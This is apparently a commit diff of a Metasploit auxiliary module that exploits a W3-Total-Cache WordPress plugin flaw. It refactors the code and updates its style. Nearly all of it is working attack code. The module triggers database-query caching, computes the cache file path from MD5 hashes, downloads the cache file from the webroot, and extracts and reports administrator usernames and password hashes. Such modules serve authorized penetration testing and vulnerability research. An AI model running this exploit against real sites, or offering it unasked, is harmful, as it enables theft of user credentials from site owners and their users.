6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Auxiliary
9
-
10
- include Msf ::Exploit ::Remote ::HttpClient
9
+ include Msf ::HTTP ::Wordpress
11
10
include Msf ::Auxiliary ::Report
12
11
include Msf ::Auxiliary ::Scanner
13
12
14
13
def initialize
15
14
super (
16
15
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract' ,
17
16
'Description' =>
18
- "The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
17
+ "The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
19
18
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
20
19
so it can be vulnerable. These cache files are in the webroot of the Wordpress
21
20
installation and can be downloaded if the name is guessed. This modules tries to
@@ -25,76 +24,81 @@ def initialize
25
24
'License' => MSF_LICENSE ,
26
25
'References' =>
27
26
[
28
- [ 'OSVDB' , '88744' ] ,
29
- [ 'URL' , 'http://seclists.org/fulldisclosure/2012/Dec/242' ]
27
+ [ 'OSVDB' , '88744' ] ,
28
+ [ 'URL' , 'http://seclists.org/fulldisclosure/2012/Dec/242' ]
30
29
] ,
31
30
'Author' =>
32
31
[
33
- 'Christian Mehlmauer' , # Metasploit module
34
- 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
32
+ 'Christian Mehlmauer' , # Metasploit module
33
+ 'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
35
34
]
36
35
)
37
36
38
37
register_options (
39
38
[
40
- OptString . new ( 'TARGETURI' , [ true , 'Wordpress root' , '/' ] ) ,
41
- OptString . new ( 'TABLE_PREFIX' , [ true , 'Wordpress table prefix' , 'wp_' ] ) ,
42
- OptInt . new ( 'SITE_ITERATIONS' , [ true , 'Number of sites to iterate' , 25 ] ) ,
43
- OptInt . new ( 'USER_ITERATIONS' , [ true , 'Number of users to iterate' , 25 ] ) ,
44
- OptString . new ( 'WP_CONTENT_DIR' , [ true , 'Wordpress content directory' , 'wp-content' ] )
39
+ OptString . new ( 'TABLE_PREFIX' , [ true , 'Wordpress table prefix' , 'wp_' ] ) ,
40
+ OptInt . new ( 'SITE_ITERATIONS' , [ true , 'Number of sites to iterate' , 25 ] ) ,
41
+ OptInt . new ( 'USER_ITERATIONS' , [ true , 'Number of users to iterate' , 25 ] )
45
42
] , self . class )
46
43
end
47
44
48
- def wordpress_url
49
- url = target_uri
50
- url . path << "/" if url . path [ -1 , 1 ] != "/"
51
- url
45
+ def table_prefix
46
+ datastore [ 'TABLE_PREFIX' ]
47
+ end
48
+
49
+ def site_iterations
50
+ datastore [ 'SITE_ITERATIONS' ]
51
+ end
52
+
53
+ def user_iterations
54
+ datastore [ 'USER_ITERATIONS' ]
52
55
end
53
56
54
57
# Call the User site, so the db statement will be cached
55
58
def cache_user_info ( user_id )
56
- user_url = normalize_uri ( wordpress_url )
59
+ user_url = normalize_uri ( target_uri )
57
60
begin
58
61
send_request_cgi (
59
- {
60
- "uri" => user_url ,
61
- "method" => "GET" ,
62
- "vars_get" => {
63
- "author" => user_id . to_s
64
- }
65
- } )
62
+ 'uri' => user_url ,
63
+ 'method' => 'GET' ,
64
+ 'vars_get' => {
65
+ 'author' => user_id . to_s
66
+ }
67
+ )
66
68
67
69
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
68
- vprint_error ( "Unable to connect to #{ url } " )
69
- return nil
70
+ vprint_error ( "Unable to connect to #{ user_url } " )
70
71
rescue ::Timeout ::Error , ::Errno ::EPIPE
71
- vprint_error ( "Unable to connect to #{ url } " )
72
- return nil
72
+ vprint_error ( "Unable to connect to #{ user_url } " )
73
73
end
74
+
75
+ nil
74
76
end
75
77
76
78
def run_host ( ip )
77
-
78
79
users_found = false
79
80
80
- for site_id in 1 ..datastore [ "SITE_ITERATIONS" ] do
81
+ ( 1 ..site_iterations ) . each do |site_id |
82
+
81
83
vprint_status ( "Trying site_id #{ site_id } ..." )
82
- for user_id in 1 ..datastore [ "USER_ITERATIONS" ] do
84
+
85
+ ( 1 ..user_iterations ) . each do |user_id |
86
+
83
87
vprint_status ( "Trying user_id #{ user_id } ..." )
88
+
84
89
# used to cache the statement
85
90
cache_user_info ( user_id )
86
- query = "SELECT * FROM #{ datastore [ "TABLE_PREFIX" ] } users WHERE ID = '#{ user_id } '"
91
+ query = "SELECT * FROM #{ table_prefix } users WHERE ID = '#{ user_id } '"
87
92
query_md5 = ::Rex ::Text . md5 ( query )
88
- host = datastore [ " VHOST" ] || ip
89
- key = "w3tc_#{ host } _#{ site_id } _sql_#{ query_md5 } "
93
+ host = datastore [ ' VHOST' ] || ip
94
+ key = "w3tc_#{ host } _#{ site_id } _sql_#{ query_md5 } "
90
95
key_md5 = ::Rex ::Text . md5 ( key )
91
- hash_path = "/#{ key_md5 [ 0 , 1 ] } /#{ key_md5 [ 1 , 1 ] } /#{ key_md5 [ 2 , 1 ] } /#{ key_md5 } "
92
- url = normalize_uri ( wordpress_url , datastore [ "WP_CONTENT_DIR" ] , "/w3tc/dbcache" )
93
- url << hash_path
96
+ hash_path = normalize_uri ( key_md5 [ 0 , 1 ] , key_md5 [ 1 , 1 ] , key_md5 [ 2 , 1 ] , key_md5 )
97
+ url = normalize_uri ( wordpress_url_wp_content , 'w3tc' , 'dbcache' , hash_path )
94
98
95
99
result = nil
96
100
begin
97
- result = send_request_cgi ( { " uri" => url , " method" => " GET" } )
101
+ result = send_request_cgi ( ' uri' => url , ' method' => ' GET' )
98
102
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
99
103
print_error ( "Unable to connect to #{ url } " )
100
104
break
@@ -103,8 +107,8 @@ def run_host(ip)
103
107
break
104
108
end
105
109
106
- if result . nil? or result . body . nil?
107
- print_error ( " No response received" )
110
+ if result . nil? || result . body . nil?
111
+ print_error ( ' No response received' )
108
112
break
109
113
end
110
114
@@ -113,18 +117,18 @@ def run_host(ip)
113
117
print_good ( "Username: #{ match [ 0 ] } " )
114
118
print_good ( "Password Hash: #{ match [ 1 ] } " )
115
119
report_auth_info (
116
- : host => rhost ,
117
- : port => rport ,
118
- : sname => ssl ? " https" : " http" ,
119
- : user => match [ 0 ] ,
120
- : pass => match [ 1 ] ,
121
- : active => true ,
122
- : type => " hash"
120
+ host : rhost ,
121
+ port : rport ,
122
+ sname : ssl ? ' https' : ' http' ,
123
+ user : match [ 0 ] ,
124
+ pass : match [ 1 ] ,
125
+ active : true ,
126
+ type : ' hash'
123
127
)
124
128
users_found = true
125
129
end
126
130
end
127
131
end
128
- print_error ( " No users found :(" ) unless users_found
132
+ print_error ( ' No users found :(' ) unless users_found
129
133
end
130
134
end
0 commit comments